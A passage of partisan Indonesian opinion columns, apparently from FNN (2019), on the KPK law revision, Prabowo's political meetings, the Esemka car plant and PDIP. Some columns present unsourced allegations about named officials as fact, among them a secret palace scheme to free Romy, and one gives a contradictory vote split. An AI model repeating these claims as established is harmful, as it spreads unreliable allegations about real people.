pegawai KPK akan kehilangan status pegawainya. Setiap tindakan mereka juga dianggap batal demi hukum. Ketentuan lain yang dianggap melemahkan posisi KPK adalah soal penyadapan yang perlu dan wajib atas ijin dari dewan pengawas. Aturan ini akan membuat KPK menjadi lumpuh untuk malakukan Operasi Tangkap Tangan (OTT). Patut diduga para pimpinan Partai Politik sangat berkepentingan agar aturan ini menjadi lemah. Bahkan bila perlu dihilangkan sama sekali Sedangkan hal yang sangat fatal, dan ditengarai sebagai upaya penyusupan untuk dapat membebaskan beberapa tahanan korupsi yang saat ini sedang dalam proses penyidikan dan penuntutan. Misalnya ketentuan pasal 43 ayat (1), bahwa penyelidik Komisi Pemberantasan Korupsi merupakan penyelidik yang diangkat dari Kepolisian Negara Republik Indonesia. Ayat (2) penyelidik sebagaimana dimaksud pada ayat (1) diangkat dan diberhentikan oleh Pimpinan Komisi Pemberantasan Korupsi. Ayat (3) penyelidik sebagaimana dimaksud pada ayat (1) dan ayat (2) wajib tunduk pada mekanisme penyelidikan sesuai dengan ketentuan peraturan perundang-undangan. Sementara itu, asal 43 A ayat (2) persyaratan sebagaimana dimaksud pada ayat (1) huruf c diselenggarakan oleh Kepolisian Negara Republik Indonesia dan bekerja sama dengan Komisi Pemberantasan Korupsi. Pasal 45 ayat (1) Penyidik Komisi Pemberantasan Korupsi merupakan penyidik yang diangkat dari Kepolisian Negara Republik Indonesia, Kejaksaan Agung Republik Indonesia, dan penyidik pegawai negeri sipil yang diberi wewenang khusus oleh Undang-Undang. Jika pasal tersebut diatas diberlakukan maka akibatnya adalah direktorat penyelidikan dan penyedikan akan berhenti bekerja secara total. Sebab lebih dari setengah penyidik yang ada di KPK berstatus sebagai penyidik KPK yang bukan berasal dari kepolisian atau kejaksaan. Secara serentak 20 satgas penyidikan yang ada di KPK juga stagnan seketika. Surat Perintah Penyidikan (Sprindik), Berita Acara Pemeriksaan (BAP), Berita Acara (BA) penahanan, BA penyitaan, dan seluruh administrasi penyidikan akan batal demi hokum. Karena tugas-tugas tersebut dilaksanakan oleh Kepala Satuan Tugas (Kasatgas) dan penyidik yang tidak memiliki kewenangan sebagai penyidik KPK sesuai undang-undang. Demikian juga dengan kinerja Direktorat Penuntutan. Semua bisa berhenti total akibat dibelakukannya ketentuan pasal 70C. Pasal tersebut menyatakan “pada saat undang-undang ini berlaku, semua tindakan penyelidikan, penyidikan dan penuntutan tindak pidana korupsi yang proses hukumnya belum selesai harus dilakukan berdasarkan ketentuan sebagaimana diatur dalam undang-undang ini”. Oleh karena itu patut untuk dipertanyakan siapa sebenarnya Presiden Jokowi ini? Apakah Presiden Jokowi juga memiliki agenda tersembunyi dalam skema revisi undang-undang KPK ini? Sebab begitu besarnya suara publik yang menuntut agar presiden besikap tegas atas kebijakan pelemahan lembaga KPK. Terutama melalui dua skema tersebut yaitu, skema capim KPK dan skema revisi undang-undang KPK. Namun sayangnya, Jokowi hanya bias membisu terhadap desakan publik tersebut Ada dua hal yang patut diduga. Pertama, apakah dengan sekama pelemahan KPK ini, presiden ingin menyelamatkan kolega-koleganya yang sedang ditahan dan dalam proses penyidikan maupun penuntutan? Kedua, ataukah presiden ingin bekerja tanpa habatan, tanpa diawasi oleh KPK ke depan? Terutama yang berkaitan dengan kebijakan presiden tentang pemindahan ibukota Negara yang sedang dicari-cari landasan pembenaran secara hukum. Sebab masyarakat sadar bahwa kebijakan pemindahan ibukota tersebut belum ada selembar kertaspun yang mengatur sebelumnya dalam bentuk perencanaan. Yang sangat mengejukan terkait dengan besarnya anggaran yang digunakan untuk membangun ibukota baru tersebut. Dana yang dibutuhkan sekitar Rp 464 triliun untuk membangun ibukota tersebut, tentu sangat rawan kemungkinan praktik korupsi dan kolusi. Sehingga presiden ingin terhindar dari segala aturan hukum yang menghalangi dan mengganggu keinginan dan semangat memindahkan ibukota. Penulis adalah Pengajar Fakultas Hukum Iniversitas Nasional Jakarta

Akhir Manuver Pilpres, Prabowo Bertemu SBY?

Bisa jadi, pertemuan Prabowo – Hendro itu sebagai “pembuka” pertemuan Prabowo – SBY, seperti halnya sebelum pertemuan Prabowo – Jokowi dan Prabowo – Megawati, BG sudah bertemu dengan Prabowo terlebih dahulu. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Rangkaian peristiwa yang terjadi di tanah air belakangan ini tampaknya saling terkait antara satu peristiwa dengan peristiwa lainnya. Targetnya, perhatian masyarakat tidak lagi tertuju pada gelaran Pilpres 2019 yang penuh dengan pencurangan. Saat pasca putusan MK yang “memenangkan” paslon 01 Joko Widodo – Ma’ruf Amin diikuti “kerusuhan” 21-22 Mei 2019, sampai muncul isu akan membawanya ke PBB dan Mahkamah Internasional, timbul peristiwa lainnya sampai berhari-hari. Masyarakat pun mulai “melupakan” peristiwa pencurangan Pilpres 2019 yang telah menelan korban lebih dari 600 petugas KPPS tewas tersebut. Hiruk-pikuk Pilpres 2019 mulai meredup saat pidato Presiden Joko Widodo di MPR, 16 Agustus 2019. Sebelumnya, masyarakat dikejutkan dengan bertemunya Presiden Jokowi dengan Prabowo di Stasiun MRT Lebak Bulus, Jakarta Selatan, Sabtu (13/7/2019). Pertemuan ini telah memantik kemarahan para pendukung Prabowo pada Pilpres 2019 lalu. Konon, sebelum pertemuan itu, Kepala BIN Budi Gunawan telah bertemu dengan Prabowo. Seperti itulah narasi yang dibangun oleh Partai Gerindra. Terkadang dalam perjuangan, jalan yang harus ditempuh tidak selalu sesuai dengan perasaan dan hati. Belum reda rasa kecewa para pendukung paslon 02 Prabowo Subianto – Sandiaga Uno itu, tiba-tiba atas inisiasi Budi Gunawan pula, Prabowo mengadakan pertemuan dengan Ketum DPP PDIP Megawati Soekarnoputri di Jl. Teuku Umar, Jakarta. Menariknya, dalam pertemuan “politik nasi goreng” ala Mega tersebut, Rabu (24/7/2019) itu, seperti halnya saat Presiden Jokowi bertemu dengan Prabowo di Stasiun MRT Lebak Bulus, juga dihadiri oleh Budi Gunawan (BG). Adakah yang istimewa? Kehadiran seorang pimpinan lembaga intelijen seperti BG tentunya sangat menarik. Mengapa dalam dua kali pertemuan politik ini BG selalu hadir? Sementara, Jokowi sendiri tidak hadir saat pertemuan di kediaman Megawati di Jl. Teuku Umar ini. Padahal, sebelumnya santer diberitakan bahwa akan terjadi pertemuan segitiga yang dihadiri Jokowi-Megawati-Prabowo, menyusul pertemuan Stasiun MRT antara Jokowi-Prabowo yang juga dihadiri oleh BG yang dianggap “mewakili” Teuku Umar. Pertemuan Jokowi-Prabowo di Stasiun MRT Lebak Bulus, Sabtu (13/7/2019), itu setidaknya membuat panik parpol Koalisi Jokowi, seperti NasDem, Golkar, PKB, dan PPP, pasca paslon 01 Joko Widodo – Ma’ruf Amin menang gelaran Pilpres 2019. Jika rekonsiliasi yang sebelumnya dilontarkan pihak Jokowi terealisasi, maka dikhawatirkan akan mengurangi “jatah” kursi dalam Kabinet Kerja II Jokowi-Ma’ruf maupun pimpinan di lembaga legislatif seperti MPR, DPR, maupun DPD mendatang. Apalagi, syarat rekonsiliasi yang diajukan Prabowo tersebut harus mencerminkan prosentase perolehan suara 55% untuk Jokowi dan 54% Prabowo. Inilah yang membuat Ketum NasDem Suryo Paloh akhirnya menggelar pertemuan Koalisi Jokowi. Isu seputaran rekonsiliasi mulai meredup ketika Presiden Jokowi melontarkan keinginannya untuk memindahkan Ibukota dari Jakarta ke Kalimantan Timur, tepatnya Kabupatan Penajam Pasir Utara dan Kabupaten Kutai Kartanegara. Secara formal pun Presiden Jokowi sudah “minta izin” untuk memindahkan Ibukota Negara ke Kaltim itu saat pidato di MPR, Jum’at (16/8/2019). Hingga muncul wacana menjual tanah negara untuk biaya Ibukota baru senilai lebih dari Rp 400 triliun itu. Hiruk-pikuk isu pemindahan ibukota pun menyedot perhatian masyarakat. Semula fokus pada manuver rekonsiliasi pertemuan MRT dan Teuku Umar, menjadi bicara perihal pemindahan ibukota ke Kaltim itu, tanpa menghitung hal krusial yang bakal terjadi. Menurut Direktur Eksekutif The Global Future Institute Prof. Hendrajit, titik rawan adalah sebelah barat-utara Kalimantan, dikelilingi oleh Laut Cina Selatan. Saat ini laut LCS menjadi medan perebutan pengaruh antara AS versus Cina. Pertama, “Buktinya, sejak era Presiden AS Barrack Obama melalui konsep Poros Keamanan Asia, AS mengirim 60 persen kapal perangnya ke LCS,” ungkap Hendrajit. Kedua, Cina sendiri dengan konsep One Belt One Road (OBOR) berupaya meningkatkan pengaruhnya di Asia Pasifik melalui pengamanan Jalur Sutra Maritim. Berarti LCS menjadi jalur Asia ke Eropa yang dikawal Cina baik secara ekonomi maupun militer. Ketiga, Konstelasi global yang demikian, menjadikan Kalimantan sebagai ibukota, sama saja menggiring Indonesia dalam posisi terkepung oleh pertarungan global AS maupun Cina yang sedang berebut wilayah pengaruh di LCS. “Ini bertentangan dengan bayangan para penggagas ibukota di Kalimantan bahwa Indonesia akan jadi pusat keseimbangan berbagai pulau di nusantara, maupun berbagai negara,” ungkap alumni Universitas Nasional Jakarta itu. Keempat, Cina sepertinya begitu bersikeras agar Indonesia memilih Kalimantan sebagai ibukota. Atas dua pertimbangan. Pertama, menjadikan Indonesia sebagai daerah penyangga, atau bahkan bumper atau tameng antara AS versus Cina. Kedua, dengan menjadi ibukota, Cina berharap mengimbangi pengaruh Inggris dan AS yang sudah lebih dahulu bercokol di Kalimantan. Apalagi, Malaysia dan Brunei, yang menguasai 23 persen wilayah Kalimantan, merupakan negara-negara eks jajahan Inggris. Hingga kini, isu pemindahan ibukota masih menjadi perhatian masyarakat, meski kemudian muncul “rusuh” Papua dan Papua Barat, Senin (19/8/2019). Tampaknya, “gelaran” rusuh di kedua provinsi wilayah Indonesia Timur ini tak bisa tutupi isu pemindahan ibukota. Maka, muncullah isu kenaikan iuran BPJS Kesehatan yang dinlai sangat mencekik rakyat. Isu ini dimulai dari Menkeu Sri Mulyani yang akan menaikkan iuran untuk kelas II dan I BJPS Mandiri sampai 100 persen guna menutupi defisit anggaran BPJS tersebut. Masalah “rusuh” Papua dan Papua Barat pun menjadi “tidak laku” lagi. Apalagi, ternyata banyak warga yang turun gunung merasa ditipu oleh koordinator aksi demo yang berakhir dengan perusakan berbagai fasilitas, sehingga mereka mengaku menyesal. Nyaris bersamaan waktunya dengan redupnya isu Papua dan Papua Barat ini, kenaikan iuran BPJS Kesehatan yang menyentuh hajat hidup orang banyak itu mulai mengaburkan rencana pemindahan ibukota di Kalimantan ini, sehingga saling menutupi. Terakhir, hampir bersamaan, soal RUU KPK dan peresmian pabrik Esemka mulai menyedot perhatian masyarakat. Sehingga persoalan rekonsiliasi terkait hasil Pilpres 2019 nyaris hilang, jika tidak ada pertemuan Prabowo Subianto – AM Hendropriyono. Hendro Panik? Pertemuan Prabowo dengan mantan Kepala BIN pada Kamis (5/9/2019) itu, bukan tidak mungkin akan diikuti pertemuan antara Prabowo dengan Ketum DPP Partai Demokrat Susilo Bambang Yudhoyono dalam waktu dekat. Bisa jadi, pertemuan Prabowo – Hendro itu sebagai “pembuka” pertemuan Prabowo – SBY, seperti halnya sebelum pertemuan Prabowo – Jokowi dan Prabowo – Megawati, BG sudah bertemu dengan Prabowo terlebih dahulu. Sehingga, muncul prediksi, setelah Prabowo – Hendro bertemu, dapat dipastikan akan terjadi pertemuan antara Prabowo – SBY. Melansir Liputan6.com, Hendro mengatakan dirinya telah bertemu dengan Presiden ke-6 RI itu untuk bertukar pikiran. Mungkinkah pertemuan Prabowo – Hendro ini semata-mata hanya untuk membahas masalah Papua, Papua Barat dan persoalan bangsa? Ataukah ada persoalan lain seperti HAM dan Pilpres 2019, sehingga mendorong Hendro bertemu Prabowo? Pasalnya, konon, masalah pelanggaran HAM dan pencurangan Pilpres 2019 sudah masuk ke Peradilan HAM di Den Haag dan PBB. Sehingga, bukan tak mungkin bisa mengancam para pelanggar HAM dan pencurangan Pilpres 2019 tersebut. Apalagi, Amerika Serikat, Uni Eropa, dan Negara-Negara Arab sudah tahu, tuduhan kepada Prabowo sebagai pelanggar HAM merupakan fitnah belaka. Mereka tahu, siapa yang selama ini memfitnah Prabowo untuk menjegal pada Pilpres 2014 dan 2019. Diduga, itulah yang membuat Hendro akhirnya wajib “hukumnya” bertemu dengan Prabowo. Sebab, sebagai profesor intelijen Indonesia, Hendro pasti sudah tahu bagaimana ending dari berbagai manuver Pilpres 2019 pada 20 Oktober nanti. Meski Prabowo pernah dikatain mengidap “psikopat”, ia tetap menghormati Hendro sebagai senior dan gurunya. Kunjungan itu adalah kunjungan kekeluargaan dan kunjungan pribadi yang telah lama direncanakan. “Sudah lama saya ingin sowan. Pak Hendro itu senior saya. Jadi guru saya, sehingga saya merasa memang pantas lah untuk sowan, diskusi, apalagi kalau ada masalah,” jelasnya di Senayan Residence, Jakarta Selatan, Kamis (5/9/2019) malam. Jika ada permasalahan negara, semua pihak harus bersatu dan saling mendukung. Karena itu Prabowo meminta waktu khusus untuk berkunjung. “Walaupun intinya adalah kekeluargaan kita juga membahas hal-hal yang menyangkut kepentingan bangsa dan negara,” ujarnya. Adakah persoalan lain yang dibicarakan saat pertemuan Prabowo – Hendro tersebut? Apakah dalam pertemuan ini juga membicarakan bagaimana antisipasi jika tiba-tiba terjadi perubahan “peta politik” terkait Pilpres 2019? Ending manuver Pilpres 2019 nantinya ada di tangan Prabowo – SBY jika memang keduanya bertemu!

Beduk Kematian KPK Itu Ditabuh Istana

Dengan bekal intruksi Presiden itu, Kapolri kemudian bergegas keluar dari kantor Presiden, diikuti Harso menuju ke Trunojoyo, Mabes Polri. Lalu berlangsunglah rapat terbatas antara Kapolri, dengan dua Perwira Tinggi, bersama Harso. Pertemuan yang berulang dalam beberapa kesempatan itu, akhirnya menelorkan keputusan. Intinya, agar semua penyidik yang menangani kasus Romy harus dari unsur kepolisian, atau unsur lain di dalam KPK yang kooperarif. Oleh Nasrudin Joha Jakarta, FNN - Sudah lama info skandal jahat ini tersimpan rapi. Dengan pertimbangan menjaga stabilitas politik nasional urung dipublikasikan. Namun dengan memperhatikan ancaman eksistensi lembaga anti KKN, dan kehancuran tatanan berbangsa bernegara, tampaknya tidak mungkin untuk tetap didiamkan. Sesunguhnya banyak pihak yang tidak suka dengan sepak terjang KPK. Berbagai upaya telah dicoba untuk menghabisi KPK, baik dalam bentuk tekanan non fisik, intimidasi, hingga kekerasan seperti yang menimpa Novel Baswedan. Namun lembaga antirasuah itu, tampaknya tidak surut melakukan pemberantasan korupsi. Belakangan upaya pelemahan KPK itu menemukan momentumnya. Kasus yang menimpa Ketua Umum PPP Romahurmuziy alias Romy yang terkena OTT KPK (15/03/19), menjadi pintu masuk skandal pelemahan KPK dimulai, dan dirancang dengan sangat serius. Kisahnya bermula dari surat khusus yang dikirim Romy sehari setelah ditetapkan sebagai tersangka dan kemudian ditahan di Rutan K4 KPK. Selain surat terbuka, diam-diam Romy ternyata, mengirim surat kepada Suharso Monoarfa, Penasehat Presiden, yang kemudian didaulat sebagai PJ Ketua Umum PPP. Surat terbuka Romy dalam sekejab telah beredar luas di media massa nasional, dan isinya diketahui umum. Sedang surat kepada Sumo, pangilan akrab Suharso Monoarfa, memang bersifat confidencial, sangat pribadi dan sangat rahasia. Isi singkatnya, Romy meminta kepada Sumo, agar membantu dirinya, dengan meminta kepada Presiden secara langsung, untuk membantu menyelesaikan kasusnya. Jika tidak, sesuai isi surat itu, Romy tidak segan-segan akan membongkar semua hal yang diketahuinya, termasuk tentang Pilpres 2019. Surat cinta yang juga berisi ancaman itu, ditanggapi Sumo dengan serius. Ini dapat dipahami, karena interaksi antara Romy dengan Presiden, bukanlah hubungan biasa. Hubungan diantara mereka, dibangun jauh sebelum Jokowi menjadi Presiden. Jalinan itu semakin intim setelah 2004, Romy selaku Staf Ahli Menteri Koperasi, turut menyerahkan bantuan modal kredit lunak senilai Rp 1 milyar kepada Jokowi, selaku pengusaha meubel di Solo. Wajar jika Romy merupakan salah satu ketua umum partai, yang sangat dekat dengan Jokowi. Saking dekatnya, Mas Romy, demikian Presiden selalu menyapa, seringkali diminta untuk datang selepas tengah malam, menemani Presiden yang sulit tidur, atau untuk sekedar tertawa cekikikan berdua. Tentu tidak hanya hahahihi, banyak hal tentang rahasia negara yang selain Tuhan, hanya mereka berdua yang tahu. Karena itu, pagi harinya, tanggal 17 Maret 2019, Sumo tergopoh-gopoh diterima Presiden di Istana Negara. Setelah sedikit menyampaikan pengantar, ia menyerahkan "surat cinta" Romy, kepada Presiden Jokowi. Sontak, sekejab setelah membaca surat cinta yang penuh dengan ratapan itu, wajah Presiden berubah tegang. Lantas, terjadilah diskusi serius, di antara keduanya, serta diputuskan untuk mengambil langkah cepat. Kurang dari satu jam setelah Presiden menelepon, Kapolri Tito Karnavian tiba di ruang Presiden. Kemudian Presiden memberikan perintah lesan, "Tolong diselesaikan dengan cepat, bersama Pak Harso". Dengan bekal intruksi itu, Kapolri kemudian bergegas keluar dari kantor Presiden, diikuti Harso menuju ke Trunojoyo, Mabes Polri. Lalu berlangsunglah rapat terbatas antara Kapolri, dengan dua Perwira Tinggi, bersama Harso. Pertemuan yang berulang dalam beberapa kesempatan itu, akhirnya menelorkan keputusan. Intinya, agar semua penyidik yang menangani kasus Romy harus dari unsur kepolisian, atau unsur lain di dalam KPK yang kooperarif. Skenario penanganan kasus Romy berjalan mulus, sesuai keinginan Presiden. Saksi-saksi diperiksa seolah-olah kasus Romy ditangani serius. Namun Romy tidak pernah disentuh. Tampak sekali permainannya, seperti mengubur bangkai di tengah pasar. Malah dengan alasan mengeluh sakit, pada 2 April 2019, kurang dari 2 minggu sebelum Pemilu Presiden, Romy dibantarkan ke Rumah Sakit Polri, Jakarta Timur. Tidak jelas apa penyakitnya, sebab baik KPK maupun penasehat hukumnya, enggan menjelaskan. Namun diduga keras, saat itu Romy mulai rewel dan merengek-rengek ke Harso, agar segera dibebaskan. Sebulan berselang, tepatnya 2 Mei 2019, izin pembantaran Romahurmuziy dicabut dan Romi kembali mendekam di rutan KPK. Namun pada Rabu (8/5/2019), ia kembali mengeluh sakit. Saat itu, tim dokter di rutan KPK masih bisa menangani keluhan Romi. Akibatnya, Romi tidak ditahan. Kemudian permainan berlanjut, ia kembali harus dirawat di Rumah Sakit Polri, Kramat Jati, Jakarta Timur pada Senin (13/5/2019) malam. Hal itu dilakukan hanya lantaran alasan, bekas ketua umum PPP itu kembali mengeluh sakit. Meski demikian Romy sempat bersaksi pada sidang di Pengadilan Tipikor, Jakarta Pusat, Rabu (26/6/2019). Namun setelah itu, ia mengeluh sakit kembali, dan kemudin dirawat di RS yang sama. Aktivis ICW, Kurnia menduga bahwa kondisi sakit yang dialami Romy hanyalah alasan untuk berusaha menghindar dari proses pemeriksaan. Ia meminta agar KPK melakukan second opinion dari dokter yang lain dan jika terbukti Romi menggunakan alasan sakit untuk mengulur-ulur perkara, KPK bisa menjerat orang-orang yang terlibat dengan pasal obstruction of justice atau merintangi proses penyidikan . Diakui atau tidak, dalam penanganan kasus Romy, KPK tampak tidak profesional. Jangankan bertindak cepat mengajukan Romy dalam persidngan, diperiksa saja tidak. Sangat aneh, karena KPK dalam 3 bulan terakhir, malah melakukan tiga kali perpanjangan penahanan. Begitulah episode sandiwara keluar masuk RS dijalani Romy, dengan leluasa berikut berbagai fasilitasnya. Tentu semua itu bisa terjadi karena ada kekuatan yang sangat berpengaruh. Dalam suasana tarik ulur pemeriksaan Romy itulah, Harso menjalankan gerilya politik. Beberapa kali, ia dipangil Presiden untuk menjelaskan perkembangan kasus "Mas Romy". Tepat dua hari sebelum pertemuan Prabowo Jokowi pada pertengahan Juli 2019, Presiden menyetujui untuk merubah UU KPK. Keputusan itu cukup melegakan Romy, yang sebelumnya sempat mengancam Harso, jika dia tidak bebas murni, maka semua pengurus DPC, DPW dan DPP PPP yang terlibat akan diseret masuk bui. Sangat tragis, ini bukti bahwa Romy telah mengunakan instrumen partai sampai di tingkat kabupaten, menjadi makelar jabatan. Kabarnya Romy juga doyan komisi Rp. 10 juta untuk urusan jabatan ketua KUA di tingkat kecamatan. Memuakkan. Manuver politik Harso, berlanjut dengan merubah kemudi kapal untuk berjalan miring, menuju ke arah ketua umum parpol, dan para politisi Senayan. Pertemuan para politisi itu mirip seperti praktek blantik sapi, jika tidak boleh disebut sebagai pertemuan komplotan para bandit. Bagi mereka, tidak penting soal bangsa dan negara, asal harganya cocok. Sayang operasi politik Harso itu, terbentur masalah teknis, DPR telah reses hingga 15 Agustus 2019, sehingga pembahasan di Badan Legislasi (Baleg) DPR baru dapat dilakukan pada masa sidang selanjutnya. Terlebih revisi UU KPK tersebut, tidak masuk dalam daftar inventarisasi RUU dan non RUU Periode 2014-2019. Anehnya pada masa sidang pertama, 16 Agustus 2019, tiba-tiba Baleg DPR mengajukan usulan revisi UU-KPK. Dan dengan diam-diam rancangan itu dibahas maraton dalam waktu yang amat singkat di internal Baleg DPR. Permainan hampir berakhir karena Rapat Paripurna DPR (5/9/2019) dengan suara bulat telah sepakat utk mengajukan revisi UU-KPK agar dijadikan sebagai RUU atas usul inisiatif DPR. Langkah pelemahan lainnya, yang cukup mencolok dapat dilihat dari hasil kerja pansel KPK dengan menggolkan kandidat-kandidat capim KPK yang dinilai punya rekam jejak bermasalah. Tidak usah kaget, karena semua atas pesanan Istana, maka dalam waktu yang singkat, hanya dua hari selepas diserahkan oleh Pansel, Presiden kemudian menyerahkan 10 nama capim KPK itu kepada DPR. Kali ini episode lonceng kematian KPK telah diskenariokan, ditabuh dan dijalankan dengan cantik oleh Istana. Maka berharap agar Presiden mengambil langkah-langkah untuk menyelamatkan KPK adalah tindakan konyol. Akhirnya, kita hanya dapat berharap dari hati nurani wakil rakyat, sembari bersandar pada pertolongan Allah SWT. Semoga bangsa ini tidak runtuh dalam kondisi mati konyol. Penulis adalah Wartawan Senior dan Pemerhati Ruang Publik

Esemka: Proyek Tipu-tipu?

Para pegiat medsos juga mencurigai mobil Esemka Bima mirip dengan mobil pabrikan asal China, Changan Star Truck. Kembaran itu mulai dari tampak depan, samping hingga bagian belakang mobil. Hingga akhirnya muncul tanda pagar atau tagar #ChanganJiplakEsemka dan menjadi trending topik di jagat maya. Para netizen ramai-ramai mengomentari kemiripan mobil tersebut. Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Penantian mobil yang dijanjikan Joko Widodo pada tahun 2012 akhirnya terkabul juga. Selamat, selamat, selamat. Ternyata Jokowi nggak nggedebus, omdo, omong doang. Jokowi menunaikan janjinya. Pada Jumat, 6 September 2019 lalu, Presiden Jokowi meresmikan pabrik mobil Esemka yang terletak di Desa Demangan, Kecamatan Kosambi, Kabupaten Boyolali, Jawa Tengah. Abrakadabra, hanya dengan investasi Rp600 miliar berdirilah pabrik mobil seluas 12.500 meter per segi di atas 115.000 meter per segi lahan sewa dengan jangka waktu 30 tahun. Pabrik ini dilengkapi dengan ruang pamer, pengecatan, perakitan kendaraan, perakitan mesin, pengetesan mesin, pengetesan kendaraan, dan inspeksi. Presiden Direktur Esemka, Eddy Wirajaya, mengatakan investasi pabrik mobil Esemka ini seluruhnya murni swasta nasional. "Tidak ada campur tangan perusahaan asing. Investasinya 100% Indonesia," ujarnya, sebelum peresmian. Nilai invetasi Rp600 miliar untuk industri otomotif dibilang mini. Coba saja bandingkan dengan investasi yang dikeluarkan PT SAIC General Motors Wuling (SGMW) Motor Indonesia, produsen mobil China merek Wuling. Perusahaan ini merogoh kocek Rp9 triliun lebih atau US$700 juta pada 2015 lalu untuk membangun pabrik Greendland International Industrial Center, Desa Sukamahi, Kecamatan Cikarang Pusat, Kota Deltamas, Bekasi, (Jawa Barat). Di wilayah yang sama, tak jauh dari pabrik Wuling, Mitsubhisi juga membenamkan US$600 juta (Rp7,1 triliun) untuk membangun pabrik baru. Memang sih, besar kecilnya nilai investasi tentu tergantung kapasitas pabrik yang dibangun. Esemka hanya akan memprodusi puluhan ribu unit per tahun, sedangkan Wuling dan Mitsubhisi memproduksi ratusan ribu unit tiap tahunnya. Jadi deh, investasi Esemka murah meriah. Masalahnya, lantaran kecilnya nilai investasi itulah mengundang kecurigaan banyak pihak ini pabrik mobil beneran apa Cuma bohong-bohongan? “Ini memproduksi mobil, perakitan atau hanya menempel merek saja,” sendir Muhammad Said Didu, eks Sekretaris Jenderal Kementerian BUMN dalam rekaman video di Youtube. Said mencurigai Esemka merupakan produk dari perusahaan mobil lain yang kemudian diberi merk Esemka. Sebab itu, mobil yang diluncurkan kemarin beda dengan mobil yang sebelumnya pernah dimunculkan Jokowi waktu menjadi Wali Kota Solo. "Alhamdulillah ada produsen mobil yang berkenan produknya diberi merek Esemka. Walau beda dengan Esemka Walikota Solo - itulah Esemka bisa berubah kapan saja,' ledek Said. Para pegiat medsos juga mencurigai mobil Esemka Bima mirip dengan mobil pabrikan asal China, Changan Star Truck. Kembaran itu mulai dari tampak depan, samping hingga bagian belakang mobil. Hingga akhirnya muncul tanda pagar atau tagar #ChanganJiplakEsemka dan menjadi trending topik di jagat maya. Para netizen ramai-ramai mengomentari kemiripan mobil tersebut. Esemka Bima boleh jadi memang rebadge mobil asal China, Changan Star Truck. Hal seperti itu sesungguhnya tak menjadi soal. Rebadge merupakan hal lumrah di industri otomotif, seperti terjadi pada Nissan Livina dan Mitsubishi Xpander, Holden Gemini-Isuzu Gemini, Ford Laser-Mazda 323, Mitsubishi Colt T120SS-Suzuki Carry Futura. Terbaru, adalah Wuling Almaz yang merupakan rebadge dari Baojun 530. Lalu, tinggal ditambahi saja Esemka- Changan Star Truck. Menjadi persoalan, jika Esemka itu diproduksi pabrik Changan di China, lalu dikirim ke Indonesia, selanjutnya pabrik Boyolali itu mengganti emblemnya menjadi Esemka. Kalau itu dilakukan, ya mirip proyek mobil nasional di zaman Orde Baru dulu. KIA disulap menjadi Timor di Indonesia. Mobil Korea itu diklaim sebagai mobnas dan bebas pajak impor setelah ditempeli merek Timor. Eddy tentu saja membantah hal itu. Suku cadang Esemka dipasok dari produsen dalam negeri. Esemka sampai saat ini telah menjalin kerja sama dengan beberapa perusahaan lokal untuk pengadaan suku cadang kendaraan seperti ban, velg, kaca, accu, altenator, starter, filter-filter, jok, grill, knalpot, van belt, bak kargo, tangki bahan bakar, chassis, dan per daun. Jadi Esemka bukan proyek tipu-tipu. Ya, kalau ada kurang-kurangnya harap dimaklumi. "Kalau ada kurang-kurang dikit, ya namanya juga pertama," ungkap Jokowi, saat menjajal mobil pikap Esemka Bima 1.200 cc warna putih.

Mengapa PDIP Terkesan Ingin Menghancurkan KPK?

Mengumpulkan duit besar tentu berisiko besar pula. Tidak mudah untuk menyembunyikan transaksi super-jumbo di tengah operasi tangkap tangan (OTT) KPK yang tak bisa dikendalikan oleh siapa pun. Karena itu, KPK dirasakan sebagai penghalang. Harus dikebiri. Harus dihabisi wewenangnya. By Asyari Usman (Wartawan Senior) Jakarta, FNN - Salah satu penganjur utama revisi UU tentang KPK (Komisi Pemberantasan Korupsi) yang akan melumpuhkan lembaga ini adalah blok politik terbesar di DPR, yaitu PDIP. Partai wong cilik. Partai yang dulu melawan ketidakadilan. Partai yang pernah bersumpah untuk membasmi korupsi. Revisi yang telah desepakati oleh semua fraksi di DPR itu diusulkan oleh enam anggota DPR. Semuanya pendukung Jokowi. Dari PDIP ada dua, yaitu Masinton Pasaribu dan Risa Mariska. Dari Golkar ada Syaiful Bahri Ruray. Kemudian, Teuku Taufiqulhadi dari Parai Nasdem. Dari PPP ada Achmad Baidowi. Sedangkan inisiator dari PKB adalah Ibnu Multazam. Jika dilihat komposisi anggota DPR yang menggagas revisi UU KPK itu, PDIP terkesan ingin menghancurkan lembaga antikorupsi ini. Tak masuk logika politik untuk mengatakan orang lain yang menjadi biangnya. Kesimpulan ini bisa diuji. Misalnya, apakah usul revisi bisa sukses kalau PDIP menentangnya? Tak mungkin! Tidak mungkin revisi itu bisa lolos. Dengan begitu, apakah PDIP tidak lagi antikorupsi? Kalau dilihat statistik kasus korupsi di KPK, Partai Banteng lebih cocok disebut pura-pura antikorupsi. Apakah itu bermakna PDIP prokorupsi? Untuk menjawab pertanyaan ini, kita perlu balik bertanya: apakah PDIP bisa disebut antikorupsi ketika mereka sekarang berusaha menghancurkan KPK? Apakah layak disebut antikorupsi padahal PDIP, sejak 2015, sibuk ingin memandulkan lembaga itu? Pikiran yang jernih pastilah menyebutkan bahwa manuver PDIP untuk melumpuhkan KPK, merupakan sikap yang tidak antikorupsi. Anda bebas menilai sendiri. Yang jelas, dalam hal-ihwal korupsi hanya ada dua kubu. Antikorupsi atau prokorupsi. Tidak ada kubu ketiga, kubu abu-abu. Menurut hemat saya, pada saat ini PDIP berada pada posisi terdepan untuk menghancurkan KPK. Mereka menghendaki wewenang lembaga pembasmi korupsi ini dicabut habis. Sangat pantas disangka bahwa atas inisitaif merekalah dicapai kesepaktan seluruh fraksi di DPR untuk mengubah UU tentang KPK Nomor 30 Tahun 2002. Revisi ini mewajibkan KPK tunduk di bawah Dewa Pengawas (DP). Ini salah stau ciptaan revisi. Tujuannya sudah bisa dibaca. Yaitu, untuk mengekang pimpinan KPK supaya tidak bebas lagi melakukan tindakan yang paling ampuh untuk memergoki korupsi. Tindakan itu ialah penyadapan telefon para terduga. Kalau revisi itu disahkan, KPK harus meminta izin dulu kepada DP. Begitu juga kalau KPK mau melakukan penggeledahan. Harus ada restu dari DP. Revisi lainnya termasuk penghentian penyidikan kasus. KPK boleh menerbitkan SP3 (surat perintah penghentian penyidikan). Inilah salah satu yang sangat berbahaya. Bisa saja nanti para koruptor masuk jalan belakang untuk membuat ‘deal’ agar kasus seseorang dihentikan oleh KPK. Terus, apa yang kira-kira menyebabkan PDIP menjadi tidak antikorupsi lagi? Mungkin karena KPK selama ini terlalu banyak menjaring politisi dan kader Banteng. Atau, boleh jadi 